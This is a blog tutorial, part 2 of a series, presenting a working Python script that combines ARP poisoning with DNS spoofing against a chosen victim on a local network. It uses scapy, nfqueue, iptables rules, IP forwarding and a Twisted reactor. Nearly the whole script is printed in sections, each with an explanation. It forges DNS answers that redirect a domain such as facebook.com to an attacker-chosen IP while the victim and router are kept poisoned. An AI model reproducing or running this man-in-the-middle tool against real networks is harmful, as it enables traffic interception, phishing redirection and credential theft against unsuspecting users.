Reliable DNS spoofing with Python: twisting in ARP poisoning, pt. 2

Previous DNS spoofing script

In order to add an ARP spoofing MITM attack we will need to implement another infinite loop to the script above; try_run() and a constant sending loop of ARP spoofed packets. Normally this type of problem can be dealt with using the threading module where we’d start one loop in a thread then make the other the main loop of the script. This is not achievable in this instance, however.

Nfqueue-bindings’ main loop, q.try_run(), is a blocking method. That means that were we to thread those two loops together, the spoofed ARP packets would only be sent when q.try_run() recieves a packet from the iptables’ queue leading to inconsistency.

The answer to this predicament is the asynchronous programming model. To learn the differences between a threaded program, a simple synchronous program, and an asynchronous program check out http://krondo.com/?p=1209.

Python has an excellent asynchronous framework called Twisted. Twisted’s main component we’re interested in is the reactor() which constantly loops around looking for events to happen then performs some action when it receives an event. A simple diagram below of how this will work in our script.

reactor

https://github.com/DanMcInerney/dnsspoof

FULL CODE: http://bpaste.net/show/queRAqlDga2guTrkzG4Z/

Breakdown
—————————————————–

from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
import os
import nfqueue
from scapy.all import *
import argparse
import threading
import signal

Twisted is a huge module so we just pick off the parts we need. We could do this for the rest of the modules but, eh, laziness and all. The modules that you will probably need to install as they’re not default on most systems (Debian packages here, you’re on Kali, right?):

apt-get install python-scapy
apt-get install python-nfqueue
apt-get install python-twisted
—————————————————–

def arg_parser():
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--domain", help="Choose the domain to spoof. Example: -d facebook.com")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP. Example: -r 192.168.0.1")
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP. Example: -v 192.168.0.5")
    parser.add_argument("-t", "--redirectto", help="Optional argument to choose the IP to which the victim will be redirected otherwise defaults to attacker's local IP. Requires either the -d or -a argument. Example: -t 80.87.128.67")
    parser.add_argument("-a", "--spoofall", help="Spoof all DNS requests back to the attacker or use -r to specify an IP to redirect them to", action="store_true")
    return parser.parse_args()

Define the arguments. action=”store_true” is for arguments that don’t require a variable to be defined after using the argument. For example, -a is an action=”store_true” argument since when you run the script you just give it the -a argument and nothing else. -r is one that requires the user to input a variable like -ip 192.168.0.1 and as such does not include action=”store_true” in it.

Once the argument parsing function is created then you can call the user defined value of of an argument by giving the long argument name as the method of the arg_parse function. An example: the -d’s long argument name is –domain so we can access the domain name the user wishes to spoof with arg_parser().domain.
—————————————————–

def originalMAC(ip):
    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r[Ether].src
def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit(0)

See ARP poisoning with Python post.
—————————————————–

def cb(payload):
    data = payload.get_data()
    pkt = IP(data)
    localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
    if not pkt.haslayer(DNSQR):
        payload.set_verdict(nfqueue.NF_ACCEPT)

See Reliable DNS spoofing with Python pt 1.
Basically nfqueue will pass all packets it receives to this function to be parsed/modified/dropped. cb stands for callback.

The localIP variable is defined using some code found here. I haven’t explored it that much but it has given me 100% reliable results so far. Granted it’s mostly been tested on machines with just 1 or 2 interfaces.
—————————————————–

else:
    if arg_parser().spoofall:
        if not arg_parser().redirectto:
            spoofed_pkt(payload, pkt, localIP)
        else:
            spoofed_pkt(payload, pkt, arg_parser().redirectto)
    if arg_parser().domain:
        if arg_parser().domain in pkt[DNS].qd.qname:
            if not arg_parser().redirectto:
                spoofed_pkt(payload, pkt, localIP)
            else:
                spoofed_pkt(payload, pkt, arg_parser().redirectto)

Here we check what arguments the user gave to the script so we can create the correct spoofed packet. The packet is actually created in the spoofed_pkt() function while the function above is simply for giving the spoofed_pkt() function accurate arguments to craft the packet.
—————————————————–

def spoofed_pkt(payload, pkt, rIP):
    spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                    an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))
    payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
    print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1]

We actually create the spoofed packet here. We are not making a copy of the packet that the victim sent; this actually creates a whole new DNS packet with the default scapy values then cherry picks the variables to change. In this case we’re:
-Swapping the IP address source and destination
-Swapping the UDP port source and destination
-Keeping the pkt[DNS].id value the same (this is how machines know which DNS response is to which query)
-qr is set to 1 to make this a DNS response rather than query
-aa is set to 1 to say the answer is authoritative
-qd stays the same
-an is where the spoofing happens, within it:
–rrname stays the same as it is the domain the victim requested to lookup
–rdata is the IP address of the domain
–rdata will change based on whether the user gave a -r (–redirectto) argument or not

Note we used “payload” as an argument for this function. That is so we can perform the next step; send the newly crafted packet back to the victim instead of passing the victim’s packet on to the router with payload.set_verdict_modified(). If we said payload.set_verdict(NF_ACCEPT) then the original packet the victim sent would move on to its original destination uninterrupted. If we set payload.set_verdict(NF_DROP) then we’d drop the packet and it’d never reach its destination.

I suppose an alternate strategy to spoofing the packet would be to wait for the real response, copy that packet, adjust the values, then pass it along. This is not ideal because for one it’s slower as we have to wait for the response and two, it’s more complicated (and hence less reliable). We would have to block all responses from the router for that domain as often when you request one domain’s IP it requires you to load lots of other elements and the router will send you a bunch of other DNS responses. This is unwanted.
—————————————————–

class Queued(object):
    def __init__(self):
        self.q = nfqueue.queue()
        self.q.set_callback(cb)
        self.q.fast_open(0, socket.AF_INET)
        self.q.set_queue_maxlen(5000)
        reactor.addReader(self)
        self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
        print '[*] Waiting for data'
    def fileno(self):
        return self.q.get_fd()
    def doRead(self):
        self.q.process_pending(100)
    def connectionLost(self, reason):
        reactor.removeReader(self)
    def logPrefix(self):
        return 'queue'

In order to add events for the reactor to watch out for we use reactor.addReader(reader_event). Once the reactor receives an event from the reader_event object, it passes data from that event into a callback function called doRead(). The reader_event in our case will be a Twisted interface called the IReadDescriptor. Ultimately this just means it’s a class object with some specific method calls like reader_event.doRead(), and reader_event.connectionLost().

For this script the reader_event will be the iptables’ queue object wrapped in an IReadDescriptor class with the reader_event.doRead() method calling nfqueue’s process_pending(integer) function. We will specify the real callback function within the queue object itself. queueObject.process_pending(integer) is what it sounds like; the queueObject will add the queued packet to a list of packets on which the callback function will perform some action.

I found that if you’re performing actions on the packet that might take longer than just swapping a few characters around you will sometimes skip a packet if process_pending is given a low number. This meant that there was considerably less reliability in code injection when I messed around with adjusting it to single digit values in LANs.py.

Description of process_pending() from the nfqueue docs:
“This will process up to max_count pending packets, but return as soon as there are none pending. This makes it possible to use the bindings in conjunction with an external select method.”

In the __init__(self) method we’re performing the following line by line:
-create the nfqueue object
-set the callback to the callback() function
-open the socket the queue object listens on
-set the maximum number of queued packets
-add the iptables queue object to the reactor’s reader so the reactor will read events from the queue object
-finally, set the queue object’s mode to copy

You can choose amongst 3 modes for the queue: NFQL_COPY_PACKET which copies the entire packet into the queue object, NFQL_COPY_META which only copies the packet meta data, and NFQL_COPY_NONE which, surprisingly, will copy nothing into the queue object.

After that we have the fileno(self) which is where the reactor grabs the file descriptor of object. Thankfully nfqueue-bindings has a built in get_fd() method for this.

doRead() is the function that tells the reactor what function to call upon receiving an event. We will choose to add the packet to the process_pending function which exists in nfqueue to get the ball rolling on parsing/modifying packets that the queue object picks up.

Twisted’s reactor has it’s own signal handling for catching Ctrl-C’s. In this case when an interrupt signal is caught connectionLost() should be called. However, this script actually doesn’t use this function because we are not using twisted’s reactor to handle interrupt signals. Instead, we are using signal_handler() in the main loop. Technically, we don’t need anything but a pass statement within connectionLost() the way we set the script up but it’s helpful to see what should be there if we were actually using it.
—————————————————–

def main(args):
    global victimMAC, routerMAC
    if os.geteuid() != 0:
        sys.exit("[!] Please run as root")
    os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
    ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
    ipf_read = ipf.read()
    if ipf_read != '1\n':
        ipf.write('1\n')
    ipf.close()

Set victimMAC and routerMAC as global so that the callback function, which can’t take any arguments other than the packet, can still use them. Then we check if you are running it as root, then we set up iptables. Note that in this example we differ from part 1. In part one we used ‘iptables -A OUTPUT’ while here we use ‘iptables -t nat -A PREROUTING’. The output chain recieves all packets that originate from the iptables machines while the PREROUTING chain will catch packets before they’re given any routing rules so it catches packets from victim machines.

After that we open, read, and write the ip forwarding config file. We save what was already in it with ipf_read so that when we hit Ctrl-C later on we can just refill it with its original data, be that enabled or disabled.
—————————————————–

routerMAC = originalMAC(args.routerIP)
victimMAC = originalMAC(args.victimIP)
if routerMAC == None:
    sys.exit("Could not find router MAC address. Closing....")
if victimMAC == None:
    sys.exit("Could not find victim MAC address. Closing....")
print '[*] Router MAC:',routerMAC
print '[*] Victim MAC:',victimMAC
Queued()
rctr = threading.Thread(target=reactor.run, args=(False,))
rctr.daemon = True
rctr.start()

—————————————————–
Acquire the router and victim MAC addresses so we can pop those into the spoofing function. Once we have those values we initiate the nfqueue object to start collecting packets. After that we do something that might look a little strange; we start the reactor in it’s own thread rather than making the reactor the main thread. We do this due to what I believe is a bug in Scapy.

http://bb.secdev.org/scapy/issue/473/scapy-sendrecv-selects-eintr-problem-in

https://github.com/TheTorProject/ooni-probe/issues/214

I haven’t tested the patch out that’s in that first link but the error you see in both those links is the same error you’ll see if you put the ARP poisoning in the thread and reactor.run() as the main loop. Notice also that we give False as an argument to to the reactor. This is so the reactor will not catch interrupt signals which can only be handled in main loops. We also start it as a daemon so it dies if the main thread dies.
—————————————————–

def signal_handler(signal, frame):
        print 'learing iptables, sending healing packets, and turning off IP forwarding...'
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as forward:
            forward.write(ipf_read)
        restore(args.routerIP, args.victimIP, routerMAC, victimMAC)
        restore(args.routerIP, args.victimIP, routerMAC, victimMAC)
        os.system('/sbin/iptables -F')
        os.system('/sbin/iptables -X')
        os.system('/sbin/iptables -t nat -F')
        os.system('/sbin/iptables -t nat -X')
        sys.exit(0)
    signal.signal(signal.SIGINT, signal_handler)

Signal handling function. We first write to the ip forwarding config file to be the value that it was prior to running the script. Then we restore the the ARP tables of the router and victim, followed by clearing the iptables of all rules.
—————————————————–

 while 1:
    poison(args.routerIP, args.victimIP, routerMAC, victimMAC)
    time.sleep(1.5)
main(arg_parser())

Last we run the ARP poisoning loop as the main thread of the script. 1.5 seconds seems to be the sweetspot of never seeing the router/victim’s ARP tables reverting back to accurate values but slow enough to not congest the network.

flattr this!

Posted in Uncategorized

Leave a Reply

Your email address will not be published. Required fields are marked *

*


eight + = 16

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>